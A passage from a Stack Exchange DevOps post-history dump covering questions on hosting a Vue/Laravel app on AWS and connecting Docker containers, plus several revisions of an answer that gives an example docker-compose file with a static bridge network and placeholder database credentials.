  <row Id="38283" PostHistoryTypeId="5" PostId="12424" RevisionGUID="4116bdaf-8bfa-406a-b0b3-a06e10ef5f4d" CreationDate="2020-09-22T19:45:11.520" UserId="2729" Comment="typos fixed and some grammar" Text="I have just recently started to consider using AWS for my SPA Web Apps. And I have read a lot about different types of how web apps could be hosted on AWS. I have looked into Lambda, S3 Static hosting. EC2. But can't seem to figure out how to exploit AWS and it services the best possible way. &#xD;&#xA;&#xD;&#xA;My Web App consists of a front-end written in Vue js. Which uses a Backend API written in Laravel. The front-end and backend are isolation so they don't have to be placed on the same machine. So I guess that could bring some good opportunities for using the different AWS products? The Database is only connected to the Backend Api so the Frontend is static. I'm also openminded to changing to another type of database if that would fit better into the AWS environment. But I don't know if I should separate the Frontend and API into different services.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="38284" PostHistoryTypeId="24" PostId="12424" RevisionGUID="4116bdaf-8bfa-406a-b0b3-a06e10ef5f4d" CreationDate="2020-09-22T19:45:11.520" Comment="Proposed by 2729 approved by 354, 40 edit id of 1279" ContentLicense="CC BY-SA 4.0" />
  <row Id="38285" PostHistoryTypeId="2" PostId="12465" RevisionGUID="84c3d7fc-8f0d-458e-8baf-ce27e70391cb" CreationDate="2020-09-22T19:46:50.680" UserId="24052" Text="If you are unit testing, you should be mocking external dependencies like Spark and AWS Glue.  Look into Python mocking frameworks like [unittest.mock][1], [monkeypatch][2] and [pytest-mock][3].  Your unit tests should just test your code and how it interacts with Spark and AWS Glue.  Your unit tests should not test Spark and AWS Glue functionality.  Do that in your component and integration testing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.python.org/3/library/unittest.mock.html&#xD;&#xA;  [2]: https://docs.pytest.org/en/2.9.2/monkeypatch.html&#xD;&#xA;  [3]: https://pypi.org/project/pytest-mock/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38286" PostHistoryTypeId="2" PostId="12466" RevisionGUID="30faceab-c30a-4afa-b527-4850a93ce2b3" CreationDate="2020-09-22T20:43:40.223" UserId="24053" Text="In ran into this problem with my environment file with docker-compose, and I found the problem to be with the quotes.&#xD;&#xA;&#xD;&#xA;If I put `GUNICORN_CMD_ARGS=--bind=127.0.0.1:8001 --workers=3` on the .env file the parameters are accepted without any issue, but if I put quotes around them the variable gets mangled by docker-compose." ContentLicense="CC BY-SA 4.0" />
  <row Id="38287" PostHistoryTypeId="2" PostId="12467" RevisionGUID="166a0ace-1f54-4b1b-a65b-5d9f85392257" CreationDate="2020-09-22T22:29:18.200" UserId="23443" Text="In &quot;What is a container?&quot; the `docker` docs have the following [nifty][1] image:&#xD;&#xA;&#xD;&#xA;[![docker][2]][2]&#xD;&#xA;&#xD;&#xA;For my scenario I have only App A and App B; let's designate them Alice and Bob.  How do Alice and Bob communicate, generally and specifically?  Using the KISS principle, concretely I'm using `MySQL` and `BaseX` from the docker hub.&#xD;&#xA;&#xD;&#xA;The notion being for an `xquery` on the host, being sent to `BaseX` for execution.  This specific query is actually `SQL`, so the `MySQL` container will be queried for the data.&#xD;&#xA;&#xD;&#xA;Does this necessitate port forwarding?  Volumes?  Does this require an additional compose file composed of, in turn, `MySQL` and `BaseX`?&#xD;&#xA;&#xD;&#xA;No doubt there are many possible approaches.  What's the most pragmatic, from a learning perspective?  Conceptually light, with a shallow learning curve.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/resources/what-container&#xD;&#xA;  [2]: https://i.stack.imgur.com/SYqVD.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38288" PostHistoryTypeId="1" PostId="12467" RevisionGUID="166a0ace-1f54-4b1b-a65b-5d9f85392257" CreationDate="2020-09-22T22:29:18.200" UserId="23443" Text="App A communication with App B using docker containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38289" PostHistoryTypeId="3" PostId="12467" RevisionGUID="166a0ace-1f54-4b1b-a65b-5d9f85392257" CreationDate="2020-09-22T22:29:18.200" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;databases&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38291" PostHistoryTypeId="5" PostId="12467" RevisionGUID="a903d4af-f989-4789-b116-e846700d2846" CreationDate="2020-09-22T22:34:24.370" UserId="23443" Comment="edited body" Text="In &quot;What is a container?&quot; the `docker` docs have the following [nifty][1] image:&#xD;&#xA;&#xD;&#xA;[![docker][2]][2]&#xD;&#xA;&#xD;&#xA;For my scenario I have only App A and App B; let's designate them Alice and Bob.  How do Alice and Bob communicate, generally and specifically?  Using the KISS principle, concretely I'm using `MySQL` and `BaseX` from the docker hub.&#xD;&#xA;&#xD;&#xA;The notion being for an `xquery` on the host, being sent to `BaseX` for execution.  This specific query is actually `SQL`, so the `MySQL` container will be queried for the data.&#xD;&#xA;&#xD;&#xA;Does this necessitate port forwarding?  Volumes?  Does this require an additional compose file composed of, in turn, `MySQL` and `BaseX`?&#xD;&#xA;&#xD;&#xA;No doubt there are many possible approaches.  What's the most pragmatic, from a learning perspective?  Conceptually light, with a gradual learning curve.&#xD;&#xA;&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;Looking at related questions, this might touch on a reverse proxy.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/resources/what-container&#xD;&#xA;  [2]: https://i.stack.imgur.com/SYqVD.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38292" PostHistoryTypeId="5" PostId="12467" RevisionGUID="84c37148-8d74-444f-8ad5-59ce404cbf10" CreationDate="2020-09-22T22:41:08.640" UserId="23443" Comment="added 118 characters in body" Text="In &quot;What is a container?&quot; the `docker` docs have the following [nifty][1] image:&#xD;&#xA;&#xD;&#xA;[![docker][2]][2]&#xD;&#xA;&#xD;&#xA;For my scenario I have only App A and App B; let's designate them Alice and Bob.  How do Alice and Bob communicate, generally and specifically?  Using the KISS principle, concretely I'm using `MySQL` and `BaseX` from the docker hub.&#xD;&#xA;&#xD;&#xA;The notion being for an `xquery` on the host, being sent to `BaseX` for execution.  This specific query is actually `SQL`, so the `MySQL` container will be queried for the data.&#xD;&#xA;&#xD;&#xA;Does this necessitate port forwarding or other [networking][3] approaches?  Volumes?  Does this require an additional [compose][4] file composed of, in turn, `MySQL` and `BaseX`?&#xD;&#xA;&#xD;&#xA;No doubt there are many possible approaches.  What's the most pragmatic, from a learning perspective?  Conceptually light, with a gradual learning curve.&#xD;&#xA;&#xD;&#xA;One [approach][5] seems to utilize bridge networking:&#xD;&#xA;[![simple][6]][6]&#xD;&#xA;&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;Looking at related questions, this might touch on a reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/resources/what-container&#xD;&#xA;  [2]: https://i.stack.imgur.com/SYqVD.png&#xD;&#xA;  [3]: https://docs.cloudfoundry.org/concepts/understand-cf-networking.html&#xD;&#xA;  [4]: https://baldbeardedbuilder.com/posts/communication-between-containers-using-docker-compose-in-windows/&#xD;&#xA;  [5]: https://www.linode.com/docs/applications/containers/docker-container-communication/&#xD;&#xA;  [6]: https://i.stack.imgur.com/YEXR6.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="38293" PostHistoryTypeId="4" PostId="12467" RevisionGUID="84c37148-8d74-444f-8ad5-59ce404cbf10" CreationDate="2020-09-22T22:41:08.640" UserId="23443" Comment="added 118 characters in body" Text="How to Connect Docker Containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38294" PostHistoryTypeId="5" PostId="12467" RevisionGUID="669690a6-b192-4e8d-8a04-2db9d758896e" CreationDate="2020-09-22T22:47:15.747" UserId="23443" Comment="added 163 characters in body" Text="In &quot;What is a container?&quot; the `docker` docs have the following [nifty][1] image:&#xD;&#xA;&#xD;&#xA;[![docker][2]][2]&#xD;&#xA;&#xD;&#xA;For my scenario I have only App A and App B; let's designate them Alice and Bob.  How do Alice and Bob communicate, generally and specifically?  Using the KISS principle, concretely I'm using `MySQL` and `BaseX` from the docker hub.&#xD;&#xA;&#xD;&#xA;The notion being for an `xquery` on the host, being sent to `BaseX` for execution.  This specific query is actually `SQL`, so the `MySQL` container will be queried for the data.&#xD;&#xA;&#xD;&#xA;Does this necessitate port forwarding or other [networking][3] approaches?  Volumes?  Does this require an additional [compose][4] file composed of, in turn, `MySQL` and `BaseX`?&#xD;&#xA;&#xD;&#xA;No doubt there are many possible approaches.  What's the most pragmatic, from a learning perspective?  Conceptually light, with a gradual learning curve.&#xD;&#xA;&#xD;&#xA;One [approach][5] seems to utilize bridge networking:&#xD;&#xA;[![simple][6]][6]&#xD;&#xA;&#xD;&#xA;Taking advantage of the fact that each container can [see][7] each other.&#xD;&#xA;&#xD;&#xA;This doesn't seem to me [related][8] to `REST`ful web services.&#xD;&#xA;&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;Looking at related questions, this might touch on a reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/resources/what-container&#xD;&#xA;  [2]: https://i.stack.imgur.com/SYqVD.png&#xD;&#xA;  [3]: https://docs.cloudfoundry.org/concepts/understand-cf-networking.html&#xD;&#xA;  [4]: https://baldbeardedbuilder.com/posts/communication-between-containers-using-docker-compose-in-windows/&#xD;&#xA;  [5]: https://www.linode.com/docs/applications/containers/docker-container-communication/&#xD;&#xA;  [6]: https://i.stack.imgur.com/YEXR6.jpg&#xD;&#xA;  [7]: https://codeblog.dotsandbrackets.com/communication-between-docker-containers/&#xD;&#xA;  [8]: https://docs.microsoft.com/en-us/dotnet/architecture/microservices/architect-microservice-container-applications/communication-in-microservice-architecture" ContentLicense="CC BY-SA 4.0" />
  <row Id="38295" PostHistoryTypeId="5" PostId="12456" RevisionGUID="27e71819-7a58-4e3c-b53d-2c4d55e2e154" CreationDate="2020-09-22T22:51:30.143" UserId="23443" Comment="added 2 characters in body" Text="From fifty-thousand feet, how are, for example, multiple `MySQL` containers handled?&#xD;&#xA;&#xD;&#xA;In the context of my limited experience, [simply running the container is insufficient, with additional configuration][1] required.  It just seems not quite so repeatable if, after running the container, it must be further tinkered with before any CRUD operations.  Or is that just the process?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12449/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38296" PostHistoryTypeId="5" PostId="12467" RevisionGUID="b418b06c-e187-4e35-8443-4a0e6fcd567e" CreationDate="2020-09-22T22:53:12.487" UserId="23443" Comment="edited body" Text="In &quot;What is a container?&quot; the `docker` docs show the following [nifty][1] image:&#xD;&#xA;&#xD;&#xA;[![docker][2]][2]&#xD;&#xA;&#xD;&#xA;For my scenario I have only App A and App B; let's designate them Alice and Bob.  How do Alice and Bob communicate, generally and specifically?  Using the KISS principle, concretely I'm using `MySQL` and `BaseX` from the docker hub.&#xD;&#xA;&#xD;&#xA;The notion being for an `xquery` file residing on the host, which is then sent to the `BaseX` container for execution.  This specific query is actually `SQL`, so the `MySQL` container will need to be queried for the result.&#xD;&#xA;&#xD;&#xA;Does this necessitate port forwarding or other [networking][3] approaches?  Volumes?  Does this require an additional [compose][4] file composed of, in turn, `MySQL` and `BaseX`?&#xD;&#xA;&#xD;&#xA;No doubt there are many possible approaches.  What's the most pragmatic, from a learning perspective?  Conceptually light, with a gradual learning curve.&#xD;&#xA;&#xD;&#xA;One [approach][5] seems to utilize bridge networking:&#xD;&#xA;[![simple][6]][6]&#xD;&#xA;&#xD;&#xA;Taking advantage of the fact that the containers can [see][7] each other.&#xD;&#xA;&#xD;&#xA;This doesn't seem to me [related][8] to `REST`ful web services.&#xD;&#xA;&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;Looking at related questions, this might touch on a reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/resources/what-container&#xD;&#xA;  [2]: https://i.stack.imgur.com/SYqVD.png&#xD;&#xA;  [3]: https://docs.cloudfoundry.org/concepts/understand-cf-networking.html&#xD;&#xA;  [4]: https://baldbeardedbuilder.com/posts/communication-between-containers-using-docker-compose-in-windows/&#xD;&#xA;  [5]: https://www.linode.com/docs/applications/containers/docker-container-communication/&#xD;&#xA;  [6]: https://i.stack.imgur.com/YEXR6.jpg&#xD;&#xA;  [7]: https://codeblog.dotsandbrackets.com/communication-between-docker-containers/&#xD;&#xA;  [8]: https://docs.microsoft.com/en-us/dotnet/architecture/microservices/architect-microservice-container-applications/communication-in-microservice-architecture" ContentLicense="CC BY-SA 4.0" />
  <row Id="38298" PostHistoryTypeId="2" PostId="12468" RevisionGUID="85b8afa2-9bd2-48a6-a4fa-94311680d55c" CreationDate="2020-09-23T03:01:30.953" UserId="9877" Text="I'm still fairly new to the Docker game, too, but I've got a few little projects that I do exactly what you are asking about. Through my own experience with trial &amp; error (mostly error...) I would suggest using a docker-compose.yml with your network set to static internal IPs so each container will have predictable, repeatable results and IPs that you can configure your containers to communicate across.&#xD;&#xA;&#xD;&#xA;I'm not familiar with `BaseX` but I have a sample situation using docker-compose `version: &quot;3.7&quot;` here that could easily run multiple apps and/or be added to or repurposed to fit your hypothetical. &#xD;&#xA;&#xD;&#xA;This example docker-compose has the following:&#xD;&#xA;&#xD;&#xA;- A separate container for populating my `app-volume` volume with the contents of a public GitHub repo.&#xD;&#xA;&#xD;&#xA;- An Apache Web Server with PHP-FPM enabled for a &quot;selective backend&quot; that gets built from a Dockerfile in the ~/dockerbuild directory. &#xD;&#xA;&#xD;&#xA;- An nginx web server as a reverse proxy for all things PHP to be passed to Apache (but serves &amp; caches pretty much everything else). &#xD;&#xA;&#xD;&#xA;- A MariaDB container in the mix for the app DB that I populate with a mysqldump file after the app gets built.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a slimmed down version of my docker-compose.yml, so note that you can add a variety of things like `healthcheck:` and `command:` to fit your needs. &#xD;&#xA;&#xD;&#xA;You execute with `docker-compose up -d --build` to both build and start your app in one command (but you'll probably want to create your own ba(.sh) file that you execute afterwards, too for those important finishing touches).&#xD;&#xA;&#xD;&#xA;Take notice of `static-network`. And while I am using named volumes in the example, that's just a preference of mine. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        git clone https://github.com/exampleuser/examplerepo.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        cp -rapv examplerepo/* /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  apache_php-fpm_backend:&#xD;&#xA;    container_name: debian-build-demo0&#xD;&#xA;    build: ~/dockerbuild&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;8080:8080&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.2&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  nginx_rp:&#xD;&#xA;    image: nginx:latest&#xD;&#xA;    container_name: nginx-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;80:80&quot;&#xD;&#xA;     - &quot;443:443&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.3&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=4007p@$$w04d&#xD;&#xA;     - MYSQL_USER=dbusernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w04d&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;mysqladmin&quot; ,&quot;ping&quot;, &quot;-h&quot;, &quot;localhost&quot;]&#xD;&#xA;      timeout: 10s&#xD;&#xA;      retries: 5&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-volume:&#xD;&#xA;#    external: true&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My clean up command when I take the app down is kind of ugly, but not terribly difficult to read and goes something like this: &#xD;&#xA;`docker-compose down -v ; docker rmi -f dockerbuild_apache_php-fpm_backend:latest mariadb:latest nginx:latest debian:latest ; docker rmi -f $(docker images -q --filter &quot;dangling=true&quot;) ; docker rmi -f $(docker images -q --filter label=stage=intermediate) ; docker volume prune -f; `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38299" PostHistoryTypeId="5" PostId="12468" RevisionGUID="61a50a13-1926-45d2-9aa5-29330419a8be" CreationDate="2020-09-23T03:13:46.333" UserId="9877" Comment="tweaks" Text="I'm still fairly new to the Docker game, too, but I've got a few little projects that I do exactly what you are asking about. Through my own experience with trial &amp; error (mostly error...) I would suggest using a docker-compose.yml with your network set to static internal IPs so each container will have predictable, repeatable results and IPs that you can configure your containers to communicate across.&#xD;&#xA;&#xD;&#xA;I'm not familiar with `BaseX` but I have a sample situation using docker-compose `version: &quot;3.7&quot;` here that could easily run multiple apps and/or be added to or repurposed to fit your hypothetical. &#xD;&#xA;&#xD;&#xA;This example docker-compose has the following:&#xD;&#xA;&#xD;&#xA;- A separate container for populating my `app-volume` volume with the contents of a public GitHub repo.&#xD;&#xA;&#xD;&#xA;- An Apache Web Server with PHP-FPM enabled for a &quot;selective backend&quot; that gets built from a Dockerfile in the ~/dockerbuild directory. &#xD;&#xA;&#xD;&#xA;- An nginx web server as a reverse proxy for all things PHP to be passed to Apache (but serves &amp; caches pretty much everything else). &#xD;&#xA;&#xD;&#xA;- A MariaDB container in the mix for the app DB that I populate with a mysqldump file after the app gets built.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a slimmed down version of my docker-compose.yml, so note that you can add a variety of things like `healthcheck:` and `command:` to fit your needs. &#xD;&#xA;&#xD;&#xA;You execute with `docker-compose up -d --build` to both build and start your app in one command (but you'll probably want to create your own ba(.sh) file that you execute afterwards, too for those important finishing touches).&#xD;&#xA;&#xD;&#xA;Take notice of `static-network`. And while I am using named volumes in the example, that's just a preference of mine. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        git clone https://github.com/exampleuser/examplerepo.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        cp -rapv examplerepo/* /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  apache_php-fpm_backend:&#xD;&#xA;    container_name: debian-build-demo0&#xD;&#xA;    build: ~/dockerbuild&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;8080:8080&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.2&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  nginx_rp:&#xD;&#xA;    image: nginx:latest&#xD;&#xA;    container_name: nginx-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;80:80&quot;&#xD;&#xA;     - &quot;443:443&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.3&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=4007p@$$w04d&#xD;&#xA;     - MYSQL_USER=dbusernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w04d&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;mysqladmin&quot; ,&quot;ping&quot;, &quot;-h&quot;, &quot;localhost&quot;]&#xD;&#xA;      timeout: 10s&#xD;&#xA;      retries: 5&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-volume:&#xD;&#xA;#    external: true&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My clean up command when I take the app down is kind of ugly, but not terribly difficult to read and goes something like this: &#xD;&#xA;`docker-compose down -v ; docker rmi -f dockerbuild_apache_php-fpm_backend:latest mariadb:latest nginx:latest debian:latest ; docker rmi -f $(docker images -q --filter &quot;dangling=true&quot;) ; docker rmi -f $(docker images -q --filter label=stage=intermediate) ; docker volume prune -f; `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think each &quot;independent app&quot; could (and probably should) have its own docker-compose and/or Dockerfiles, but you may find synergies with certain Dockerfiles that you can create custom `command:` instructions for (such as the git_repo_clone example) to be used &amp; shared across multiple &quot;apps&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="38300" PostHistoryTypeId="5" PostId="12468" RevisionGUID="ce54b0f5-2a40-4687-9c84-27a798492f3a" CreationDate="2020-09-23T03:38:37.647" UserId="9877" Comment="clarity" Text="I'm still fairly new to the Docker game, too, but I've got a few little projects that I do exactly what you are asking about. Through my own experience with trial &amp; error (mostly error...) I would suggest using a docker-compose.yml with your network set to static internal IPs so each container will have predictable, repeatable results and IPs that you can configure your containers to communicate across.&#xD;&#xA;&#xD;&#xA;I'm not familiar with `BaseX` but I have a sample situation using docker-compose `version: &quot;3.7&quot;` here that could easily run multiple apps and/or be added to or repurposed to fit your hypothetical. &#xD;&#xA;&#xD;&#xA;This example docker-compose has the following:&#xD;&#xA;&#xD;&#xA;- A separate container for populating my `app-volume` volume with the contents of a public GitHub repo.&#xD;&#xA;&#xD;&#xA;- An Apache Web Server container with PHP-FPM enabled for a &quot;selective backend&quot; that gets built from a Dockerfile in the ~/dockerbuild directory. &#xD;&#xA;&#xD;&#xA;- An nginx web server container used as a reverse proxy for all things PHP to be passed to Apache (but serves &amp; caches pretty much everything else). &#xD;&#xA;&#xD;&#xA;- A MariaDB container in the mix for the app DB that I populate with a mysqldump file after the app gets built.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a slimmed down version of my docker-compose.yml, so note that you can add a variety of things like `healthcheck:` and `command:` to fit your needs. &#xD;&#xA;&#xD;&#xA;You execute with `docker-compose up -d --build` to both build and start your app in one command (but you'll probably want to create your own ba(.sh) file that you execute afterwards, too for those important finishing touches).&#xD;&#xA;&#xD;&#xA;Take notice of `static-network`. And while I am using named volumes in the example, that's just a preference of mine. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        git clone https://github.com/exampleuser/examplerepo.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        cp -rapv examplerepo/* /var/www/vhosts/dmrcly/examplerepo &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  apache_php-fpm_backend:&#xD;&#xA;    container_name: debian-build-demo0&#xD;&#xA;    build: ~/dockerbuild&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;8080:8080&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.2&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  nginx_rp:&#xD;&#xA;    image: nginx:latest&#xD;&#xA;    container_name: nginx-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;80:80&quot;&#xD;&#xA;     - &quot;443:443&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.3&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=4007p@$$w04d&#xD;&#xA;     - MYSQL_USER=dbusernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w04d&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;mysqladmin&quot; ,&quot;ping&quot;, &quot;-h&quot;, &quot;localhost&quot;]&#xD;&#xA;      timeout: 10s&#xD;&#xA;      retries: 5&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-volume:&#xD;&#xA;#    external: true&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My clean up command when I take the app down is kind of ugly, but not terribly difficult to read and goes something like this: &#xD;&#xA;`docker-compose down -v ; docker rmi -f dockerbuild_apache_php-fpm_backend:latest mariadb:latest nginx:latest debian:latest ; docker rmi -f $(docker images -q --filter &quot;dangling=true&quot;) ; docker rmi -f $(docker images -q --filter label=stage=intermediate) ; docker volume prune -f; `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think each 